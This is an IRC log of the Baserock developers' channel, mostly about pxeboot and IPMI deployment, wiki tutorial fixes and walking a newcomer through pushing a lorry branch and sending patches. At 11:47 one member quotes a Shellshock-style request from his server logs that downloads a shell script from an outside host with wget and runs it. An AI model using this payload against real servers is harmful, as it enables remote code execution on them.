| *** zoli_ [~zoli_@0x5e91887a.adsl.cybercity.dk] has joined #baserock | 04:07 | |
| *** zoli_ [~zoli_@0x5e91887a.adsl.cybercity.dk] has quit [Changing host] | 04:07 | |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 04:07 | |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 04:10 | |
| *** zoli_ [~zoli_@0x5e91887a.adsl.cybercity.dk] has joined #baserock | 04:10 | |
| *** zoli_ [~zoli_@0x5e91887a.adsl.cybercity.dk] has quit [Changing host] | 04:10 | |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 04:10 | |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 04:11 | |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 04:11 | |
| *** flatmush [~flatmush@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:20 | |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:20 | |
| *** fay_ [~fay@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:20 | |
| *** sambishop [~sambishop@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:20 | |
| *** petefoth [~petefoth@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:20 | |
| *** mauricemoss_ [~simonh@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:20 | |
| *** wdutch [~william@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:20 | |
| *** franred [~franred@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:21 | |
| *** sambishop [~sambishop@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:21 | |
| *** mauricemoss_ [~simonh@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:21 | |
| *** petefoth [~petefoth@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:21 | |
| *** locallycompact [~lc@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:21 | |
| *** fay_ [~fay@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:21 | |
| *** Krin [~mikesmith@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Read error: Connection reset by peer] | 05:21 | |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:21 | |
| *** wdutch [~william@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:21 | |
| *** Krin [~mikesmith@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:21 | |
| *** locallycompact [~lc@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:21 | |
| *** franred [~franred@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:22 | |
| *** flatmush [~flatmush@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 05:22 | |
| *** Krin [~mikesmith@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 258 seconds] | 07:52 | |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 08:31 | |
| *** zoli_ [~zoli_@0x5e91887a.adsl.cybercity.dk] has joined #baserock | 08:31 | |
| *** zoli_ [~zoli_@0x5e91887a.adsl.cybercity.dk] has quit [Changing host] | 08:31 | |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 08:31 | |
| *** bashrc [~motters@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 08:58 | |
| *** tiagogomes [~tiagogome@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 08:59 | |
| *** mariaderidder [~maria@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 09:03 | |
| *** mike [~mike@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 09:07 | |
| mike is now known as Guest50428 | 09:07 | |
| *** Guest50428 [~mike@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 252 seconds] | 09:39 | |
| *** mauricemoss_ [~simonh@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 256 seconds] | 09:41 | |
| *** ssam2 [~ssam2@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 09:42 | |
| Mode #baserock +v ssam2 by ChanServ | 09:42 | |
| *** flatmush [~flatmush@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 245 seconds] | 09:46 | |
| *** Guest50428 [~mike@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 09:52 | |
| *** Krin [~mikesmith@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 09:57 | |
| rdale_ | does the ruby import tool have an option to generate a result, even if some dependencies are missing | 09:59 |
|---|---|---|
| ssam2 | rdale_: yes | 09:59 |
| ssam2 | --force-generate-stratum I think | 09:59 |
| rdale_ | ah thats really useful, thanks | 10:00 |
| *** br_logger [~ubuntu@85.199.252.189] has quit [Remote host closed the connection] | 10:01 | |
| *** br_logger [~ubuntu@85.199.252.189] has joined #baserock | 10:03 | |
| *** mauricemoss_ [~simonh@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 10:36 | |
| *** flatmush [~flatmush@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 10:36 | |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 10:46 | |
| *** terry_ [~kejiahu@access.ducie-dc1.codethink.co.uk] has quit [Ping timeout: 252 seconds] | 11:17 | |
| *** terry [~kejiahu@access.ducie-dc1.codethink.co.uk] has joined #baserock | 11:17 | |
| terry is now known as Guest3347 | 11:17 | |
| pedroalvarez | ssam2: I'm wondering if you finally tested the kernel-upgrade patch, or should I spend some time to test it | 11:19 |
| ssam2 | pedroalvarez: it's included in the Gerrit system I'm deploying | 11:20 |
| ssam2 | once I've actually got that booted and running in OpenStack I'll merge the kernel patch | 11:20 |
| pedroalvarez | great | 11:20 |
| ssam2 | I'm fairly new to this whole business of running web servers | 11:47 |
| ssam2 | the logs make great reading | 11:47 |
| ssam2 | lots of 'GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 9 - "() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh 0<&1 2>&1"' etc | 11:47 |
| richard_maw | :-) | 11:47 |
| *** zoli_ [~zoli_@cpe.ge-0-2-0-366.abnqu1.dk.customer.tdc.net] has joined #baserock | 11:50 | |
| *** zoli_ [~zoli_@cpe.ge-0-2-0-366.abnqu1.dk.customer.tdc.net] has quit [Changing host] | 11:50 | |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 11:50 | |
| *** Guest50428 [~mike@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 244 seconds] | 11:51 | |
| pedroalvarez | Hi richard_maw! :) | 11:51 |
| richard_maw | Hi | 11:51 |
| pedroalvarez | I'm currently trying to use the pxeboot.write extension. I found some problems in the .check extension, I wonder if you merged a wrong version. | 11:52 |
| richard_maw | it's possible, what is it failing with? | 11:53 |
| pedroalvarez | for example, there is a syntax error here: http://git.baserock.org/cgi-bin/cgit.cgi/baserock/baserock/definitions.git/tree/pxeboot.check?h=baserock/richardmaw/pxeboot-write&id=00f5bb8550a7e852b544817d00671be68936137c#n42 | 11:53 |
| * richard_maw facepalms | 11:53 | |
| pedroalvarez | (easy to fix, just wondering if more things are missing) | 11:53 |
| richard_maw | too long ago for me to remember, but I'll answer what I can recall | 11:54 |
| *** CTtpollard [~tom@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 11:54 | |
| pedroalvarez | another thing that I've discovered (i may be wrong) is that we can't assume that the IPMI channel number is always "1": http://git.baserock.org/cgi-bin/cgit.cgi/baserock/baserock/definitions.git/tree/pxeboot.write#n482 | 11:58 |
| pedroalvarez | (it looks easy to fix, I'll work on it) | 11:59 |
| richard_maw | we can't assume that IPMI works like we want either. I had assumed that the first channel would be the interface that the device will DHCP on, but it appears not to be the case in any of the IPMI capable hardware I was looking at | 11:59 |
| richard_maw | I pondered making it configurable, but given I didn't have any hardware that I could usefully test that mode on, I left it in. I should probably have removed it instead | 12:00 |
| pedroalvarez | I think that is possible to discover the channel number using ipmitool commands | 12:01 |
| richard_maw | yes, but you can't associate that with the network interface with it | 12:01 |
| * pedroalvarez fails to undrstand that | 12:02 | |
| richard_maw | you can use ipmitool to tell you about what channels it has, but it won't tell you which channel the server will DHCP from | 12:03 |
| *** Guest50428 [~mike@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 12:04 | |
| richard_maw | and in the server I looked at, the only channel available to configure was that of the IPMI interface itself | 12:04 |
| pedroalvarez | hm... | 12:07 |
| pedroalvarez | I wonder if I'm experimenting the same situation | 12:09 |
| Guest3347 is now known as kejiahu | 12:12 | |
| richard_maw | the "using IPMI to change the VLAN of the hardware" turned out to be a bit of a bust, since it makes a lot of assumptions about the hardware and the network, that didn't hold even in our permissive network | 12:13 |
| richard_maw | however, smart switches will do the vlanning for you | 12:13 |
| richard_maw | it would be possible to put a command-line in the variables to make the switches route packets for the right vlan, but you're probably best off asking the sysadmin team if they will do the network routing for the vlan for you | 12:14 |
| persia | How do other solutions (e.g IPA) do this? | 12:17 |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 260 seconds] | 12:20 | |
| richard_maw | I hadn't heard of that before now, so I'd have to do some research to answer that question. | 12:22 |
| richard_maw | It may be useful for pedroalvarez to research, but maybe after we've got what I previously had working to work for him. | 12:23 |
| pedroalvarez | looks like in my case I don't have to change the vlan in the server, because it's harcoded at the switch | 12:26 |
| pedroalvarez | also, I may be puting a wrong 'location' in the cluster morphology. I failed to understand what should I put there | 12:27 |
| richard_maw | the mac address of the interface that the machine uses to DHCP | 12:27 |
| richard_maw | it's a bit arbitrary as to what the location should be, but it's the only part of the configuration that was mandatory for all of the different ways you could do the pxeboot | 12:28 |
| richard_maw | and strictly, you can get away without it if you are the pxeboot server | 12:29 |
| richard_maw | rjek: I know a pxeboot server isn't a thing by itself, we don't need that discussion again | 12:30 |
| pedroalvarez | so, as far as I understand is one of the interfaces of the target | 12:30 |
| richard_maw | yes | 12:30 |
| pedroalvarez | I have to leave now, I'll be back later | 12:30 |
| richard_maw | ah, convenient, I can have lunch without having to be available to answer questions | 12:31 |
| *** petefoth_ [~petefoth@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 12:41 | |
| persia | Seems my mention of IPA was a result of my confusion. IPA is just the deployment ramdisk for Ironic to work in cases where there isn't a BCM, so precisely the opposite use case, and unrelated. | 12:41 |
| persia | Apologies for that. | 12:41 |
| *** petefoth [~petefoth@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 264 seconds] | 12:42 | |
| petefoth_ is now known as petefoth | 12:42 | |
| * pedroalvarez closes some browser tabs | 12:59 | |
| pedroalvarez | I failed to find anything to start reading anyway | 13:00 |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 13:03 | |
| Zara_ | hm, wiki page is titled 'create a development vm', but it contains the instructions to create a 'build' system, which apparently isn't the same as a 'devel' system (but it used to be) | 13:05 |
| paulsher1ood | Zara_: fair point. | 13:05 |
| paulsher1ood | does anyone have a preference for which way to fix this? | 13:06 |
| persia | Zara_: Heh, good find. Do you think it makes sense to change to be a devel system (which has useful tools), or change the title, as it is just a getting-started thing, and one can then build a devel system on the build system? | 13:06 |
| * persia needs a better HCI | 13:06 | |
| Zara_ | persia, paulsher1ood: I think I'd prefer the latter, and link to a section on building a devel vm, but it may depend on the titles used by links elsewhere on the site | 13:07 |
| Zara_ | (so actually, adding a section on the end for upgrading your build system to a devel system would be preferable) | 13:08 |
| Zara_ | s/would/could | 13:08 |
| persia | Since you've recently reported success with an upgrade, are you up for trying to make the page say that? | 13:08 |
| ssam2 | I think it's better to encourage people to use 'devel' rather than 'build' | 13:08 |
| * paulsher1ood has 'fixed' this, he thinks | 13:09 | |
| pedroalvarez | ssam2: yes, but we released build systems | 13:09 |
| ssam2 | pedroalvarez: I know | 13:09 |
| ssam2 | I think extending the tutorial to say 'now build yourself a devel system and upgrade to it' is pretty good | 13:09 |
| ssam2 | users can always ignore that part if they actually wanted a build-system | 13:09 |
| paulsher1ood | i've removed the inconsistency. i agree with the suggestion to extend the tutorial | 13:09 |
| Zara_ | paulsher1ood: heh, that works for me :) | 13:10 |
| Zara_ | before, I assumed that my build system was the same as a devel system, whereas now I'd have no reason to make that assumption | 13:10 |
| persia | But is it still the right thing for people to be doing for setup? | 13:11 |
| * persia isn't sure about that, although the consistency is nicer | 13:11 | |
| ssam2 | persia: is what still the right thing? downloading a build system, then upgrading it to devel ? | 13:11 |
| paulsher1ood | i think it is the right thing for setup, but i'd have to try it since i've never used a build-system for development | 13:11 |
| Zara_ | persia: I'm happy to do that; I edited the tutorial for upgrading yesterday so I could paste that (edited for this case), or just link to it | 13:11 |
| paulsher1ood | Zara_: which tutorial for upgrading? | 13:12 |
| persia | ssam2: The current content of guides/vm-setup | 13:12 |
| Zara_ | paulsher1ood: http://wiki.baserock.org/devel-with/#index8h2 | 13:12 |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 13:12 | |
| persia | Zara_: That would be lovely. Thanks. | 13:12 |
| persia | I'd recommend linking, and adding a bit of description explaining why one downloads a build system and works with a devel system (download size/speed, etc.) | 13:13 |
| paulsher1ood | hah. it would be much simpler to use cycle.sh for that process, i think? | 13:13 |
| ssam2 | is the current content of guides/vm-setup the right thing for people to be doing for setup? I don't see why not .. | 13:13 |
| ssam2 | ah, except for it ends with 'Your development VM is now running: return to the 'Quick start' page to carry on using it.' | 13:13 |
| persia | And doesn't provide any hints to use a real devel image, right. | 13:14 |
| petefoth | ssam2 becasue the Quick start page has the details of how to configure moreph within whatever VM you are working with | 13:14 |
| paulsher1ood | ssam2: i missed that one, fixed now | 13:15 |
| petefoth | previous versions had (different versions of) those instructions in each 'set up a xxxx vm' page | 13:15 |
| Zara_ | paulsher1ood: sure, if cycle.sh gives the same result (I wasn't sure if they were equivalent) | 13:15 |
| paulsher1ood | it gives the same result, in a more predictable way imo | 13:15 |
| Zara_ | great :) (I'm actually quite pleased because when I was first told to upgrade, I tried to use cycle.sh, but must have used it in the wrong branch... then I found the section on upgrading so assumed that I was using the wrong commands instead) | 13:19 |
| paulsher1ood | hmmm.. that is worrying - is something confusing in the documentation on cycle.sh? | 13:20 |
| Zara_ | paulsher1ood: it's probably just that it's a while since I read it, so I thought of it as a way to boot into a test system, then return to your original system to make changes to the test system-- which is true, but there's no reason why you can't make the test system a devel system, and change things from there | 13:26 |
| paulsher1ood | agreed | 13:26 |
| persia | Good point. The potential for using cycle between wildly different systems isn't so well documented. | 13:27 |
| paulsher1ood | i thought it was enough... "Note you can even work on a different system (say systems/genivi-baseline-x86_64-generic.morph) cycle into that, test it, reboot back in your devel, make changes, cycle again etc." | 13:31 |
| paulsher1ood | i'm wondering whether it would be best to replace the devel-with tutorial with a cycle.sh equivalent? | 13:32 |
| Zara_ | paulsher1ood: Unless I've missed something, that example assumes that the system you're rebooting in is the devel system, whereas in this case you'd be running cycle.sh from a build system and cycling into the devel system | 13:36 |
| petefoth | devel-with covers deploying to several different types of VM (KVM, raw disk, virtualBox, OpenStack. It soesn'tr mention QEMU which is documented on the vm-setup page). A script to replace it would need to be able to hanlde them all, and maybe Jetson Boards and chroots as well. Would that be a very complicated script? | 13:37 |
| Zara_ | the first time, anyway | 13:37 |
| Zara_ | so if you know how it works, it's fine, but if you're unsure, you worry that cycle.sh must be run from a devel system, so you need to change your build system to a devel system in order to use cycle.sh correctly | 13:39 |
| persia | I think cycle.sh already covers most of that. | 13:39 |
| persia | Once you've made your initial decisions, my understanding of cycle.sh is that it preserves those choices for the replacement system. | 13:39 |
| paulsher1ood | yup | 13:42 |
| * paulsher1ood has 'fixed' http://wiki.baserock.org/guides/build-deploy-cycle | 13:42 | |
| Zara_ | paulsher1ood: thanks :) | 13:43 |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 13:46 | |
| * paulsher1ood notices other inconsistencies, and sighs | 13:46 | |
| * petefoth p[osts an update to https://petefotheringham.journal.codethink.co.uk/log/2014/zen-of-comms/ | 13:48 | |
| petefoth | and apolofgises for postin that on a public channel :( | 13:49 |
| Krin | hmm, i have a very large amount of stuff to submit for review for the zookeeper work i'v been doing, including not just things that have been done in baserock but also programs i have made that baserock brings into itself. i'm not sure i know how to do all the steps listed at "http://wiki.baserock.org/contributing/" however, does anyone have time to walk me through my first baserock patch(s)? | 13:56 |
| petefoth | Krin: sorry, but I am *not* the best person to do that. | 14:02 |
| persia | I'm happy to try. Note that several of my patches didn't get merged :) | 14:04 |
| persia | Actually, reviewing that wiki page, I may not be the best help (as git-send-email doesn't work for me). | 14:04 |
| persia | But I'm happy to walk through the process if that helps. | 14:05 |
| petefoth | persia: Krin when you get to that point I may be able to help as git send-email does work for me | 14:05 |
| Krin | i think i may have just made a patch for the beginning of time. O.o | 14:06 |
| petefoth | I am less sure / confident about the rebasing side of things. I'm also aware that that page works best when dealing wiht smaller patches. The key for Krin will be rebasing what is quite a lot of edits/ changes amnd new stuff into a logical, easily reviewed patch set | 14:07 |
| persia | Krin: So, at a high level, what do you have as changes? | 14:07 |
| * Krin just tried to create a patch, now has 968 patches | 14:08 | |
| ssam2 | I think it's useful to have someone sit with you the first time you create a patch, unfortunately I have too much stuff that needs to be done this afternoon to be able to hel | 14:08 |
| ssam2 | p | 14:08 |
| persia | 968 patches? What did you do? | 14:09 |
| Krin | the two seperate system tpes of server and client, and the strata to support those systems. the client side uses a program currently hosted on my github account to interact with the server, and the server usues a simmilar program to initialy populate itself | 14:09 |
| Krin | as to what i did, i issued the command 'git format-patch -o patches --cover-letter --root' | 14:10 |
| richard_maw | AIUI that gives the entire history of the project as patches | 14:10 |
| Krin | it seems only the last 5 or so are actualy anything of mine | 14:10 |
| richard_maw | rather than --root, use the name of the branch you want to apply your patches against, e.g. origin/master | 14:11 |
| persia | Right. Delete all the patches :) | 14:11 |
| Krin | kay XD | 14:11 |
| persia | As a first step, I'd suggest lorrying the stuff from github, or any other upstream you need. | 14:12 |
| persia | (so patches to lorries.git to mirror those on git.baserock.org) | 14:12 |
| Krin | how do i lorry something? i'v always asked nicely for someone more knowledgeable to do it in the past (feels at a complete loss here) | 14:13 |
| persia | For a next step, I'd recommend running `git fetch && git rebase origin/master` in your branch of definitions.git. | 14:13 |
| persia | Krin: clone git://git.baserock.org/baserock/baserock/lorries.git | 14:14 |
| richard_maw | persia: not that one | 14:14 |
| richard_maw | it's the local-config/lorries.git you need | 14:14 |
| persia | richard_maw: Hrm? I always did patches against that, and haven't had issues with lorry patches being accepted. What is different? | 14:15 |
| persia | For that matter, why do we have two different lorries.git? | 14:15 |
| richard_maw | baserock/lorries.git is the pre-trove dumping ground, we migrated everything to the local-config/lorries.git later | 14:16 |
| richard_maw | the idea is that local-config is for repositories that affect the operation of the trove, so has different access controls | 14:16 |
| richard_maw | as gitano access controls are per-project | 14:16 |
| richard_maw | we've kept the old one around as a) we have a policy of not removing lorries and b) it serves as examples, however we ought to either hide it, or mark it as deprecated more usefully | 14:17 |
| persia | Especially since merges against it are approved (and silently put into local-config) | 14:18 |
| Krin | so... i'm cloning... git://git.baserock.org/baserock/baserock/lorries.git OR git://git.baserock.org/baserock/local-config/lorries.git? | 14:18 |
| richard_maw | Krin: git://git.baserock.org/baserock/local-config/lorries.git | 14:18 |
| ssam2 | http://mason-x86-64.baserock.org/ is broken and I have no idea why -- seems to be trying to build Linux twice at the same time | 14:25 |
| ssam2 | distbuild controller confusion I suspect | 14:25 |
| * ssam2 restarts morph-controller.service and hopes for the best | 14:26 | |
| pedroalvarez | ssam2: I'm looking into it | 14:27 |
| SotK | is it possible to pass multiple things to INSTALL_FILES? | 14:28 |
| richard_maw | SotK: you can pass multiple manifests | 14:28 |
| SotK | richard_maw: cool, what is the syntax? | 14:28 |
| richard_maw | shell I think, if you're manipulating it from python you'll want to use pipes.quote, I'll just check | 14:29 |
| richard_maw | yep, the file paths are split with shlex.split | 14:29 |
| SotK | richard_maw: great, thanks | 14:29 |
| richard_maw | so you can do it with foo.INSTALL_FILES='"path/to/manifest1" "path/to/manifest2"' if it's on the command-line | 14:30 |
| richard_maw | or `INSTALL_FILES: '"path/to/manifest1" "path/to/manifest2"' in the yaml | 14:31 |
| richard_maw | you have to either quote or escape the " in the string if you're doing it from yaml | 14:31 |
| Krin | so, i don't have access to push to the lorrys repo, should i just put my changes into a pastbin for someone to take a gander at? >.< | 14:48 |
| pedroalvarez | Krin: yes :) | 14:49 |
| pedroalvarez | also, you can send a patch without pushing | 14:49 |
| richard_maw | I'll check the permissions, I'd prefer you push branches so we don't lose the work if the paste expires before we merge it, which is a possibility this close to the holidays | 14:50 |
| Krin | i can? *sits there in amazement and confusion at his lack o git knowledge* | 14:50 |
| paulsher1ood | Krin: you could fork it on github, for example? | 14:51 |
| ssam2 | NB ALL: I plan to reboot git.baserock.org at 18:30 GMT tonight, to deploy an OS upgrade | 14:51 |
| paulsher1ood | ooh, exciting | 14:51 |
| paulsher1ood | ssam2: why wait? :) | 14:51 |
| richard_maw | Krin: you should be able to push to the lorries repository, what is it saying when it fails to push? | 14:51 |
| ssam2 | paulsher1ood: so I have a chance to debug the new OS version if it doesn't work, without folk complaining that they can't get work done | 14:52 |
| Krin | richard_maw, : fatal: remote error: access denied or repository not exported: /baserock/local-config/lorries.git | 14:52 |
| ssam2 | with fewer folk complaining. anyway :) | 14:52 |
| * Krin reads that again "but... i was trying to push to a branch... ugh, | 14:53 | |
| richard_maw | what command were you running, and what is the output of `git remote -v` | 14:54 |
| Krin | git push, | 14:54 |
| Krin | and | 14:54 |
| Krin | fatal: remote error: access denied or repository not exported: /baserock/local-config/lorries.git | 14:54 |
| Krin | GAH, c&p error | 14:55 |
| Krin | git remote -v | 14:55 |
| Krin | origin | 14:55 |
| Krin | origin | 14:55 |
| Kinnison | can't push to git:// | 14:55 |
| persia | Also, probably can't push to that repo | 14:55 |
| Kinnison | git config url.ssh://git@git.baserock.org/.pushInsteadOf git://git.baserock.org/ | 14:55 |
| Kinnison | maybe --global | 14:55 |
| Kinnison | that will help a bit | 14:55 |
| pedroalvarez | I use git remote set-url origin URL | 14:56 |
| richard_maw | persia: not with the git:// url, but I checked, Krin is in the local-config-writers group, so he's allowed to push there | 14:56 |
| persia | richard_maw: Ah, but shouldn't one not until one has received review? | 14:56 |
| franred | I modify directly .gitconfig to do the replacement | 14:56 |
| richard_maw | he can push his branch there, he just shouldn't be pushing master | 14:57 |
| paulsher1ood | Krin: put it another way... if you want to write to one of the gbo repos, assuming you have setup key you'll need to use ssh... so ssh://git@git.baserock.org/baserock/local-config/lorries.git | 14:57 |
| Krin | i thought i was trying to get a review... i have no idea what i'm doing anymore >.< | 14:57 |
| persia | richard_maw: Ah, right. My misunderstanding. | 14:57 |
| paulsher1ood | Krin: review, mailing list... probably best not to take shortcuts if you're unsure? | 14:58 |
| paulsher1ood | in Krin's defence, having two lorries.git is also confusing | 14:59 |
| Krin | paulsher1ood,: i'm not trying to take a shortcut, I'm trying to follow instructions and getting confused | 14:59 |
| paulsher1ood | ah... which instructions, Krin? | 14:59 |
| persia | Krin: To check, you have a clone of that repo, and you've fixed the push location. Which branch are you using? | 14:59 |
| * paulsher1ood can believe that there's confusing stuff on the wiki, or on here :) | 14:59 | |
| Krin | the ones i have ben given on here and the ones on http://wiki.baserock.org/contributing/ | 15:00 |
| Krin | i'm sure it's more me misunderstanding all the instructions more than anything else | 15:00 |
| persia | No, they make lots of assumptions | 15:01 |
| paulsher1ood | Krin: perhaps. perhaps not - our docs could do with simplification i think | 15:01 |
| paulsher1ood | s/docs/processes/ s/simplification/clarification/ | 15:01 |
| Krin | i will agree there persia, a lot of the instructions assume i already know what i'm doing with other parts that are used in the instructions | 15:01 |
| persia | Right. | 15:01 |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 245 seconds] | 15:01 | |
| pedroalvarez | I hope we can assume that the user has git experience | 15:02 |
| persia | pedroalvarez: Yes, but we've assumed the wrong bits and explained other bits. | 15:02 |
| persia | Krin: In any case, am I correct that you 1) have cloned a repo, 2) have a push remote using ssh, and 3) have made your lorry changes in a feature branch? | 15:02 |
| Krin | no persia, i have cloned th lorry repo, i have edited it, in a branch, but cant seem to push that branch, so i assume that statement 2 is incorrecct and i will go back over this discussion so far and try to correct that now | 15:04 |
| persia | Just to confirm, if you run `git branch`, it shows master, and something else, and the something else has the asterisk? | 15:04 |
| Krin | yes, that is correct persia, i am working in my branch :) | 15:05 |
| persia | In that case, run the command Kinnison posted, and then `git remote -v` again to verify. | 15:05 |
| Krin | it's even a slightly difernt colour as wel as the asterix, for added clarity :) | 15:05 |
| * persia hugs his Televideo 970 with the green/amber switch to adjust to varied lighting conditions | 15:07 | |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 15:08 | |
| paulsher1ood | Krin: because only ssh:// pushes are even considered | 15:09 |
| richard_maw | the git:// protocol does no authentication, so it's not generally safe to push over it, we only use git:// pushes in the test-suite, and we set up a special local-only git server for that | 15:11 |
| * Krin tries the command... trys again, tries again with variation... looks the command up... tries again... edits the file manually. | 15:16 | |
| Krin | i now get the following | 15:16 |
| Krin | git remote -v | 15:16 |
| Krin | origin | 15:16 |
| Krin | origin | 15:16 |
| Krin | is that corect? | 15:16 |
| persia | You want ssh://git@git... | 15:17 |
| Krin | ok | 15:17 |
| paulsher1ood | Krin: in general, you can crib this from the gbo web views... eg http://git.baserock.org/cgi-bin/cgit.cgi/baserock/local-config/lorries.git/ | 15:18 |
| paulsher1ood | (that's how i do it, at least :-) ) | 15:18 |
| persia | For folk who are in the relevant writer teams, that's probably the most sensible solution. | 15:20 |
| persia | Krin: With that change, did `git push` work? | 15:33 |
| Krin | it says it has worked. i'm not sure though | 15:33 |
| persia | Hrm. git.baserock.org's cgit seems to claim that nothing has pushed to baserock/local-config/lorries.git in 23 hours :( | 15:35 |
| franred | Krin, which is the name of your branch? | 15:36 |
| Krin | zookeeper-programs-add | 15:36 |
| franred | it should be baserock/krin/zookeeper-programs-add to be in gbo | 15:37 |
| persia | Some folk seem to just use name/feature as well, judging from http://git.baserock.org/cgi-bin/cgit.cgi/baserock/local-config/lorries.git/refs/heads | 15:37 |
| Krin | what is gbo? i keep seeing it reffered to | 15:37 |
| persia | git.baserock.org | 15:37 |
| franred | persia, yep, looks like it allows you to do it, I haven't tried in any case | 15:39 |
| persia | franred: I don't know if there is policy, but most folk tend to do it like you said. | 15:39 |
| persia | But that shouldn't cause the push to silently fail, should it? | 15:40 |
| Krin | should be there now under baserock/krin/zookeeper-programs-add | 15:42 |
| franred | no, push was complaining about that it does not have a repo where to push configured (globally or locally), so "git push" without arguments fails | 15:43 |
| franred | when you add: where and what to push, git push works | 15:43 |
| persia | Krin: Excellent. Perhaps it requires a "/" in the name | 15:44 |
| Zara_ | (did more wiki updates to clear up some other inconsistencies. It's not great (it now directs the user to a page and back again), but at least it's not equating the build system with the devel system) | 15:44 |
| paulsher1ood | i see it, Krin. now i'd like to understand what it is you're lorrying :) | 15:44 |
| Krin | the programs that i have made to demonstrate that zookeeper is working inside of baserock | 15:44 |
| persia | paulsher1ood: You're getting ahead of yourself. Let's go through the rest of the process of submitting for review before starting the review :) | 15:44 |
| Krin | well i'v made a patch of it, is it still the baserock dev list to submit for review? | 15:45 |
| persia | Krin: Now that you have pushed, it is time to prepare patches. Most people seem to be happy with git-send-email, so I'd recommend trying that before git-format-patch | 15:45 |
| persia | Yes. | 15:45 |
| persia | It should be a matter of running `git send-email --suppress-cc=all --annotate --cover-letter origin/master` | 15:46 |
| paulsher1ood | persia: you're probably right. but in any case, it's called 'experiments'. what licence is this? object files in the repo, etc... seems a bit odd for an upstream project | 15:46 |
| persia | paulsher1ood: My understanding is that Krin is the maintainer of the upstream project in question. | 15:46 |
| persia | We may need to ask the submitter of the lorry to work with upstream to resolve some issues with the upstream repo before we wish to lorry :) | 15:47 |
| paulsher1ood | :-) | 15:47 |
| persia | Krin: So, did that invocation of `git send-email` work? | 15:48 |
| Krin | uh, good point paulsher1ood, i havent put any form of licensing in the code, i kept meaning to ask if there was a good spot to read how to format lincencing of this sort of thing and how to understand licencing | 15:48 |
| Krin | no, i do not have to program git-send-email | 15:48 |
| Krin | but i should get the licencing sorted first i would guess | 15:48 |
| persia | Krin: You are working in a baserock development system, or somewhere else? | 15:49 |
| Krin | for my own code part? i was creating it in eclipse. | 15:50 |
| paulsher1ood | Krin: maybe. also .gitignore on object files unless there's some real need to have them in git? | 15:50 |
| persia | Krin: For your lorry change. | 15:50 |
| Krin | i did the change to the lorry in a baserock VM environment, but the code that is being lorryied in was created on the unbuntu system with eclipse. using zookeepers API | 15:51 |
| persia | That shouldn't matter from the perspective of the lorry review. | 15:52 |
| * persia is trying to do one thing at a time | 15:52 | |
| * Krin is getting very scared of what moster he has created | 15:52 | |
| persia | I'm just surprised that `git send-email` doesn't work in a Baserock development environment | 15:52 |
